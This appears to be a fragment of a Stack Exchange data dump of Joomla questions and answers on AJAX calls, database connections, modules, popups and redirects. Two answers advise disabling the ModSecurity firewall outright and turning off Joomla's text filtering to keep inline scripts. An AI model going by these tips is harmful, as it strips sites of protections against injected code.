document.getElementById(&amp;quot;ajaxButton&amp;quot;).onclick = function() { makeRequest('Test.php'); };&#xA;&#xA;  function makeRequest(url) {&#xA;    httpRequest = new XMLHttpRequest();&#xA;&#xA;    if (!httpRequest) {&#xA;      alert('Giving up :( Cannot create an XMLHTTP instance');&#xA;      return false;&#xA;    }&#xA;    httpRequest.onreadystatechange = alertContents;&#xA;    httpRequest.open('GET', url);&#xA;    httpRequest.send();&#xA;  }&#xA;&#xA;  function alertContents() {&#xA;    if (httpRequest.readyState === XMLHttpRequest.DONE) {&#xA;      if (httpRequest.status === 200) {&#xA;        alert(httpRequest.responseText);&#xA;      } else {&#xA;        alert('There was a problem with the request.');&#xA;      }&#xA;    }&#xA;  }&#xA;})();&#xA;&amp;lt;/script&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;br/&gt;&#xA;This is the contents of my &lt;code&gt;Test.php&lt;/code&gt;. Does this look incorrect?  If I add this directly to an article, it returns the result that I want, but for some reason I can't get the syntax correct for calling it from a separate article.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    $option = array(); &#xA;&#xA;    $option['driver']   = 'mssql';&#xA;    $option['host']     = 'host';&#xA;    $option['user']     = 'user';       &#xA;    $option['password'] = 'password';   &#xA;    $option['database'] = 'database';     &#xA;    $option['prefix']   = '';            &#xA;&#xA;    $db = JDatabase::getInstance( $option );&#xA;    $result = $db-&amp;gt;getQuery(true);&#xA;    $result-&amp;gt;select($db-&amp;gt;quoteName(array('trackandfieldresults')));&#xA;    $result-&amp;gt;from($db-&amp;gt;quoteName('[TrackData]')); &#xA;    $db-&amp;gt;setQuery($result); &#xA;    $row = $db-&amp;gt;loadRowList();&#xA;    echo $row['0']&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;br&gt;&#xA;Updated PHP File&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;$serverName = &amp;quot;ServerName&amp;quot;; &#xA;$uid = &amp;quot;sqlusername&amp;quot;;   &#xA;$pwd = &amp;quot;sqlpassword&amp;quot;;  &#xA;$databaseName = &amp;quot;DBName&amp;quot;; &#xA;&#xA;$connectionInfo = array( &amp;quot;UID&amp;quot;=&amp;gt;$uid,                            &#xA;                         &amp;quot;PWD&amp;quot;=&amp;gt;$pwd,                            &#xA;                         &amp;quot;Database&amp;quot;=&amp;gt;$databaseName); &#xA;&#xA;$conn = sqlsrv_connect( $serverName, $connectionInfo);&#xA;&#xA;if( $conn ) {&#xA;     echo &amp;quot;Connection established.&amp;lt;br /&amp;gt;&amp;quot;;&#xA;}else{&#xA;     echo &amp;quot;Connection could not be established.&amp;lt;br /&amp;gt;&amp;quot;;&#xA;     die( print_r( sqlsrv_errors(), true));&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9734" LastEditorUserId="9485" LastEditDate="2022-10-11T10:11:40.320" LastActivityDate="2022-10-11T10:11:40.320" Title="Run External PHP File From Joomla Article" Tags="|joomla-3.x|php|articles|javascript|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19205" PostTypeId="2" ParentId="19203" CreationDate="2017-02-23T06:14:23.417" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I just pasted your code into an article on the home page of a joomla 3.6 site and put a Test.php at the root of the too and it worked fine.  To my mind if you are doing exactly that then there is a problem with your php file cause in this request Joomla is not really involved (Note for 500 errors the first thing I would look at would be the file's permissions).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;This approach is fine if your the only dev on the site and your php doesn't interact with Joomla at all.  Joomla provides a simple way to make ajax requests with modules using the com_ajax interface: doc is  &lt;a href=&quot;https://docs.joomla.org/Using_Joomla_Ajax_Interface&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.  This would be neater, more portable, less prone to accidental breakage, and give you access to the &#xA;Joomla application - on the other hand, the Joomla app has to load fully so you'll lose some microseconds.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2017-02-23T06:14:23.417" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19207" PostTypeId="2" ParentId="10269" CreationDate="2017-02-23T12:53:57.917" Score="1" Body="&lt;p&gt;Did you recently move your website from a host to another? If your hosting provider uses CPanel, you might have &lt;a href=&quot;https://documentation.cpanel.net/display/EA/Apache+Module:+ModSecurity&quot; rel=&quot;nofollow noreferrer&quot;&gt;ModSecurity&lt;/a&gt; enabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to your CPanel-&gt;Security-&gt;ModSecurity and disable it.&lt;/p&gt;&#xA;" OwnerUserId="2097" LastActivityDate="2017-02-23T12:53:57.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19208" PostTypeId="1" AcceptedAnswerId="19210" CreationDate="2017-02-23T13:06:36.670" Score="2" ViewCount="374" Body="&lt;p&gt;I am writing a module to allow admins to select upto 3 different articles (taken from Joomla Content) to show in the frontend of a site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to show the article title and the intro image, along with a link on both of them to the article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have written the following in the module XML file, which shows the article list in the module backend:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fields name=&quot;params&quot;&amp;gt;&#xA;    &amp;lt;fieldset name=&quot;basic&quot;&amp;gt;&#xA;        &amp;lt;field&#xA;            name=&quot;article_title_1&quot;&#xA;            type=&quot;sql&quot;&#xA;            default=&quot;10&quot;&#xA;            label=&quot;Select an article&quot;&#xA;            query=&quot;SELECT id, title FROM #__content&quot;&#xA;            value_field=&quot;title&quot;&amp;gt;&#xA;            &amp;lt;option value=&quot;&quot;&amp;gt;Please select your option&amp;lt;/option&amp;gt;&#xA;        &amp;lt;/field&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;/fields&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But in my default.php file, when I use the following&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo $params-&amp;gt;get('article_title_1') ; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This only shows the article ID, and not the title.&lt;/p&gt;&#xA;" OwnerUserId="294" LastActivityDate="2017-02-23T15:06:27.263" Title="Module to show selected articles in frontend with links to article page" Tags="|php|module|content|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19209" PostTypeId="1" CreationDate="2017-02-23T13:22:35.660" Score="1" ViewCount="661" Body="&lt;p&gt;I want to change some lines in this Joomla's 3.6.5 library file:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;C:\xampp\htdocs\joomla\libraries\joomla\form\form.php&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I searched many places to find out how to do this, but unfortunately there isn't a clear answer that explains step by step how can I override this library file in my template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only thing I've found is that it's possible to override library files, but it has its downsides (security threats after upgrades).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By editing this library file my purpose is change the messages shown after form validation errors. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla only shows &quot;&lt;code&gt;invalid field: field label&lt;/code&gt;&quot;, but I want to change it and force it to clearly explains what is wrong about the field for user can understand which he/she input wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After solving the above problem, I want to know how can I show each field's error message below it's input box, I don't like Joomla's default way that shows all the errors in a div above the form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help me. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's no website I haven't searched it for this problem to solve.&lt;/p&gt;&#xA;" OwnerDisplayName="user9658" LastEditorUserId="126" LastEditDate="2017-09-09T16:00:00.390" LastActivityDate="2017-10-04T20:31:14.573" Title="Edit Joomla 3.x library file (to customize form validation error messages)" Tags="|joomla-3.x|validations|libraries|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19210" PostTypeId="2" ParentId="19208" CreationDate="2017-02-23T14:00:33.537" Score="2" Body="&lt;p&gt;Firstly, I'll start off with a side note. I'm assuming you're doing this in Joomla 3.6, which is fine, but I tested it in Joomla 3.7 and it returns a PHP error, unless you specific &lt;code&gt;value_field=&quot;title&quot;&lt;/code&gt;, so be sure you use this instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field&#xA;    name=&quot;article_title_1&quot;&#xA;    type=&quot;sql&quot;&#xA;    default=&quot;10&quot;&#xA;    label=&quot;Select an article&quot;&#xA;    query=&quot;SELECT id, title FROM #__content&quot;&#xA;    key_field=&quot;id&quot;&#xA;    value_field=&quot;title&quot;&#xA;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The query itself &lt;strong&gt;will&lt;/strong&gt; provide you a dropdown list of articles, however the &lt;code&gt;&amp;lt;option&amp;gt;&lt;/code&gt; values will be the ID of the article, hence why &lt;code&gt;echo $params-&amp;gt;get('article_title_1');&lt;/code&gt; only gives you the ID.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then use the following to get the title and intro image:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$id      = $params-&amp;gt;get('article_title_1');&#xA;$article = JControllerLegacy::getInstance('Content')-&amp;gt;getModel('Article')-&amp;gt;getItem($id);&#xA;$image   = json_decode($article-&amp;gt;images);&#xA;&#xA;echo '&amp;lt;a href=&quot;' . JRoute::_('index.php?option=com_content&amp;amp;view=article&amp;amp;id=' . $id) . '&quot;&amp;gt;' . $article-&amp;gt;title . '&amp;lt;/a&amp;gt;';&#xA;&#xA;if ($image !== null)&#xA;{&#xA;    echo '&amp;lt;img src=&quot;' . $image-&amp;gt;image_intro . '&quot; alt=&quot;&quot;&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="294" LastEditDate="2017-02-23T15:06:27.263" LastActivityDate="2017-02-23T15:06:27.263" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="19211" PostTypeId="1" CreationDate="2017-02-23T14:33:40.253" Score="1" ViewCount="230" Body="&lt;p&gt;I don't use Joomla myself but I did a host migration for a friend and the site, which uses Joomla, got a 500 Internal Server Error after the migration.&#xA;In order to make the site work, I just renamed the extension folder (so it would become inactive) and the error disappeared. However, as expected, the google map in the site stopped displaying.&#xA;I don't know much about Joomla, and since this isn't for me, I won't be spending lots of time to learn my way around the CMS. But I was wondering, perhaps someone has already had this same problem and could help out.&#xA;Thanks for reading.&lt;/p&gt;&#xA;" OwnerUserId="9737" LastActivityDate="2017-12-21T04:46:07.587" Title="ZH Google Map extension causing 500 Internal Server Error after migration" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19213" PostTypeId="1" CreationDate="2017-02-23T16:07:32.183" Score="2" ViewCount="824" Body="&lt;p&gt;I got a Live-page (our school's homepage) which I backed up via Akeeba and already restored on my local server which I mage with XAMPP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, when I want to surf my local page through &lt;code&gt;localhost/schulpage/&lt;/code&gt; then it always instantly redirects me to the live-version of my page &lt;code&gt;www.example.com&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only exception of this is when I surf the back-end &lt;code&gt;localhost/schulpage/administrator&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But as soon as I click on login it redirects me to the backend of my livepage again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I fix this? Already spent hours trying to figure it out but I don't have a clue where it comes from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What have I already tried?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;.htaccess&lt;/code&gt; files first renamed, then deleted -&gt; nothing changed &lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;config.php&lt;/code&gt; checked -&gt; no live-page listed.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;htacess.txt&lt;/code&gt; renamed, deleted -&gt; nothing changed&lt;/li&gt;&#xA;&lt;li&gt;Checked installed plugins, no obvious plugins installed.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9739" LastEditorDisplayName="user3831" LastEditDate="2017-04-24T03:07:17.497" LastActivityDate="2021-03-07T22:00:13.270" Title="Stop Joomla from redirecting to livepage!" Tags="|joomla-3.x|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19214" PostTypeId="2" ParentId="19183" CreationDate="2017-02-23T17:55:28.613" Score="0" Body="&lt;p&gt;What I've done is use the URL menu option for the duplicate menu items. Obviously this could be an issue if you ever change URLs, but it avoids duplicate content due to multiple URLs for the same page, and is hidden from the page visitor.&lt;/p&gt;&#xA;" OwnerUserId="6991" LastActivityDate="2017-02-23T17:55:28.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19215" PostTypeId="1" CreationDate="2017-02-23T18:23:09.000" Score="2" ViewCount="159" Body="&lt;p&gt;I am trying to fix an old joomla site so it can be responsive. In the articles, every image comes with &lt;code&gt;style=&quot;width:1150px;height:650px&quot;&lt;/code&gt;, I need to replace all these occurrences  with &lt;code&gt;style=&quot;width:100%&quot;&lt;/code&gt; or simply remove the whole &lt;code&gt;style&lt;/code&gt; attribute.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some alternative ways to do this, like using javascript or directly going into database and do a search and replace. But I'd like to know if there is any extension that could accomplish this. Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="5680" LastEditorUserId="126" LastEditDate="2017-02-23T19:16:38.760" LastActivityDate="2017-02-23T19:16:38.760" Title="Extension to edit multiple articles in a same pattern?" Tags="|extensions|database|content|batch|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19216" PostTypeId="2" ParentId="19215" CreationDate="2017-02-23T19:16:03.920" Score="4" Body="&lt;p&gt;Actually you said it - you need to change the content in the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For doing such thing from within Joomla, &lt;strong&gt;&lt;a href=&quot;https://www.regularlabs.com/extensions/dbreplacer&quot; rel=&quot;noreferrer&quot;&gt;Regular Labs DB Replacer Pro&lt;/a&gt;&lt;/strong&gt; is the tool to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Supporting regex searches, will allow you to do this change easily and quickly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;*Always keep up a backup before working directly with the database, something that DB replacer does.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2017-02-23T19:16:03.920" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19217" PostTypeId="2" ParentId="19211" CreationDate="2017-02-24T00:19:03.340" Score="1" Body="&lt;p&gt;Some suggestions to try (run a backup unsing Akeeba Backup or similar before doing any changes that can't easily be undone):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;upgrade Zh GoogleMap to the latest version (including any associated modules and plugins)&lt;/li&gt;&#xA;&lt;li&gt;temporarily rename the .htaccess file in the root folder to see if this makes any difference&lt;/li&gt;&#xA;&lt;li&gt;check file/folder permissions at System -&gt; System Information -&gt; Folder Permissions and fix any issues&lt;/li&gt;&#xA;&lt;li&gt;temporarily set System -&gt; Global Configuration -&gt; Server -&gt; Error Reporting = Maximum to see if there is a more useful error message&lt;/li&gt;&#xA;&lt;li&gt;check logs for any relevant error messages&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="120" LastActivityDate="2017-02-24T00:19:03.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19218" PostTypeId="1" CreationDate="2017-02-24T09:43:52.547" Score="1" ViewCount="75" Body="&lt;p&gt;I'm trying to create a popup by modifying the source code through the editor.&#xA;the code is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;#&quot; onClick=&quot;window.open('mypage.htm','pagename','resizable,height=260,width=370'); return false;&quot;&amp;gt;popup&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but once saved the article, I see that the code has been cut.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;actually I'm looking for a component that allows me to open a Virtual tour (a web page or a swf file) in a popup. I tried the &quot;simple popup&quot; component, but I use another component called. &quot;pocha panorama&quot; and I can't use them together.&lt;/p&gt;&#xA;" OwnerUserId="9736" LastEditorUserId="9736" LastEditDate="2017-02-24T14:30:18.677" LastActivityDate="2017-02-24T17:50:43.933" Title="what component allows me to open a Virtual tour in a popup?" Tags="|extensions|form|popup|" AnswerCount="2" CommentCount="2" ClosedDate="2017-02-27T07:00:35.997" ContentLicense="CC BY-SA 3.0" />
  <row Id="19219" PostTypeId="2" ParentId="13669" CreationDate="2017-02-24T16:01:37.303" Score="0" Body="&lt;p&gt;You can always remove/unpublish any menu item from &lt;strong&gt;Menu Manager &gt; Menu Group(Main menu) &gt; individual menu&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can try &lt;a href=&quot;https://www.themexpert.com/joomla-templates&quot; rel=&quot;nofollow noreferrer&quot;&gt;ThemeXpert Joomla templates&lt;/a&gt; that comes is a easy-to-use mega menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3992" LastActivityDate="2017-02-24T16:01:37.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19220" PostTypeId="2" ParentId="19218" CreationDate="2017-02-24T16:06:10.713" Score="0" Body="&lt;p&gt;From &lt;strong&gt;Global Configuration &gt; Text filters&lt;/strong&gt; select &lt;code&gt;No Filtering&lt;/code&gt; for user group you want to. Perhaps, Admin user group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Editor will not stripe out the code.&lt;/p&gt;&#xA;" OwnerUserId="3992" LastActivityDate="2017-02-24T16:06:10.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19221" PostTypeId="2" ParentId="17509" CreationDate="2017-02-24T16:10:43.137" Score="-1" Body="&lt;p&gt;From my experience Redirect manager not work perfectly. I didn't get much time to inspect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can Use Sh404 extension(paid) or any 3rd party extension for this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I prefer to handle this redirection from server level(nginx/apace).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For nginx follow this : &lt;a href=&quot;https://www.digitalocean.com/community/tutorials/how-to-create-temporary-and-permanent-redirects-with-nginx&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.digitalocean.com/community/tutorials/how-to-create-temporary-and-permanent-redirects-with-nginx&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apache : &lt;a href=&quot;https://www.digitalocean.com/community/tutorials/how-to-create-temporary-and-permanent-redirects-with-apache-and-nginx&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.digitalocean.com/community/tutorials/how-to-create-temporary-and-permanent-redirects-with-apache-and-nginx&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3992" LastEditorUserId="3992" LastEditDate="2017-02-25T17:32:51.840" LastActivityDate="2017-02-25T17:32:51.840" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19222" PostTypeId="2" ParentId="19218" CreationDate="2017-02-24T17:50:43.933" Score="0" Body="&lt;p&gt;I am a big fan of Engage Box by Tassos Marinos for anything popup/modal related.  It is easy to setup and has lots of extra features like setting cookies, custom page assignments, calling it through buttons, etc.  There are pre-setup modes for newsletter signups, social media, video, as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.tassos.gr/joomla-extensions/engagebox&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.tassos.gr/joomla-extensions/engagebox&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="464" LastActivityDate="2017-02-24T17:50:43.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19224" PostTypeId="1" CreationDate="2017-02-24T19:52:52.877" Score="5" ViewCount="507" Body="&lt;p&gt;This has come up before but I don't have enough reputation to comment into the original questions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;User &lt;a href=&quot;https://joomla.stackexchange.com/users/2295/webchun&quot;&gt;webchun&lt;/a&gt; gave a great tutorial in &lt;a href=&quot;https://joomla.stackexchange.com/questions/13583/how-to-show-tagged-items-in-category-blog-layout&quot;&gt;How to show tagged items in category blog layout&lt;/a&gt; which works really well, but he wrote it referencing Joomla 3.4.4 and the templates have changed in the new releases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using his method, I got a much nicer blog layout, but each item is displaying twice. Has anyone else had any luck developing this further?&lt;/p&gt;&#xA;" OwnerUserId="9747" LastEditorUserId="126" LastEditDate="2017-06-30T11:19:00.310" LastActivityDate="2020-05-04T12:54:09.760" Title="Tagged items blog layout" Tags="|joomla-3.x|template-override|tags|category-blog|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19225" PostTypeId="1" AcceptedAnswerId="19227" CreationDate="2017-02-25T00:44:19.007" Score="1" ViewCount="360" Body="&lt;p&gt;Afaik. there is a calendar field by Joomla, which allows you to select a date or probably date range. Is there a way to select a year instead of a date?&lt;/p&gt;&#xA;" OwnerUserId="9637" LastActivityDate="2017-02-25T08:03:20.570" Title="Is there an input field to select year only?" Tags="|joomla-3.x|jform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19226" PostTypeId="2" ParentId="13633" CreationDate="2017-02-25T06:48:15.833" Score="3" Body="&lt;p&gt;To change this for a specific article in the backend, in the article edit screen, go to the &lt;strong&gt;Publishing Tab&lt;/strong&gt; and find the author field - which is called &lt;strong&gt;Created By&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/oHTr5.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/oHTr5.jpg&quot; alt=&quot;Article - Publishing Settings&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Click the blue button, which will open a modal window with the available Site Users to select a new user for the author of the article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Dy6NH.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Dy6NH.jpg&quot; alt=&quot;Select new author&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the user and save the article.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2017-02-25T06:48:15.833" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19227" PostTypeId="2" ParentId="19225" CreationDate="2017-02-25T08:03:20.570" Score="0" Body="&lt;p&gt;I decided to add age instead of year. The birth year can be counted from the age and I don't have a custom field type, not to mention I would have needed a way to inject the min and max year to the field. Which probably means loading the xml, finding the field with xpath and inject the attributes before using it for form generation.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field&#xA; name=&quot;age&quot;&#xA; type=&quot;integer&quot;&#xA; default=&quot;6&quot;&#xA; label=&quot;CUSTOMER_REGISTRATION_FORM_AGE_LABEL&quot;&#xA; description=&quot;CUSTOMER_REGISTRATION_FORM_AGE_DESCRIPTION&quot;&#xA; first=&quot;1&quot;&#xA; last=&quot;150&quot;&#xA; step=&quot;1&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9637" LastActivityDate="2017-02-25T08:03:20.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19230" PostTypeId="1" CreationDate="2017-02-25T19:33:31.340" Score="1" ViewCount="1319" Body="&lt;p&gt;I'd like some advice. which extension is recommended for anyone needing to open an html page in a pop-up after clicking on an image?&lt;/p&gt;&#xA;" OwnerUserId="9736" LastEditorUserId="126" LastEditDate="2017-03-02T13:03:59.633" LastActivityDate="2017-08-01T20:17:21.907" Title="I need extension to create popup" Tags="|joomla-3.x|module|plugin|extensions|modal|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19231" PostTypeId="2" ParentId="19230" CreationDate="2017-02-25T21:14:40.167" Score="2" Body="&lt;p&gt;I can recommend &lt;a href=&quot;https://www.regularlabs.com/extensions/modals#free-vs-pro&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Regular Labs Modals&lt;/strong&gt;&lt;/a&gt;. Go for the Pro Version, which offers more options.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Modals is a Joomla plugin extension to help you create cool modal popup. You can make modal popups for texts, articles, other internal pages, external pages, images, videos, galleries...&lt;/p&gt;&#xA;&lt;h3&gt;Full control&lt;/h3&gt;&#xA;&lt;p&gt;&lt;strong&gt;Modals is packed with options to control the modal popups.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Full controll over styling (via some styling options and CSS)&lt;/li&gt;&#xA;&lt;li&gt;Define dimensions and&lt;/li&gt;&#xA;&lt;li&gt;Create image popups quickly and easily&lt;/li&gt;&#xA;&lt;li&gt;Make galleries and slideshows automatically Pro only&lt;/li&gt;&#xA;&lt;li&gt;Make popups open on pageload Pro only&lt;/li&gt;&#xA;&lt;li&gt;And many more...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3&gt;Activators&lt;/h3&gt;&#xA;&lt;p&gt;&lt;strong&gt;There are several ways Modals can covert links:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Via the special Modal tags {modal ...}...{/modal}&lt;/li&gt;&#xA;&lt;li&gt;By class names (all links with defined class names)&lt;/li&gt;&#xA;&lt;li&gt;All external links Pro only&lt;/li&gt;&#xA;&lt;li&gt;By target=&amp;quot;_blank&amp;quot; (all links with a target. Internal and/or external) Pro only&lt;/li&gt;&#xA;&lt;li&gt;By filetypes (all links to given filetypes) Pro only&lt;/li&gt;&#xA;&lt;li&gt;By url (also supports regular expressions) Pro only&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2017-02-25T21:14:40.167" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="19232" PostTypeId="2" ParentId="19230" CreationDate="2017-02-25T21:23:15.323" Score="1" Body="&lt;p&gt;I like Engage Box for anything popup/modal related.  I have suggested it on a few posts now, so I feel like a broken record.  However, I do use it on about 20 websites. There is a specific function for external websites.  It is easy to setup and has lots of extra features like setting cookies, custom page assignments, calling it through buttons, etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the demo, try the &quot;external website&quot; option:&#xA;&lt;a href=&quot;https://www.tassos.gr/joomla-extensions/engagebox&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.tassos.gr/joomla-extensions/engagebox&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To set it up for clicking an image, you need to give the link an id and then setup the link to just be #.  So something like:&#xA;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in the engage box settings, set the trigger point to &quot;on Click&quot; and then the trigger element would be #popupimage.  Important point... make sure the &quot;Disable default action&quot; is set to Yes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Extension has good documentation: &lt;a href=&quot;https://www.tassos.gr/joomla-extensions/engagebox/docs/the-onclick-trigger-point&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.tassos.gr/joomla-extensions/engagebox/docs/the-onclick-trigger-point&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="464" LastActivityDate="2017-02-25T21:23:15.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19233" PostTypeId="2" ParentId="10362" CreationDate="2017-02-26T00:28:58.037" Score="0" Body="&lt;p&gt;This has been an ongoing issue for some time but thanks to Phil Taylor and others should be fixed in Joomla 3.7:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/13516&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/pull/13516&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2017-02-26T00:28:58.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
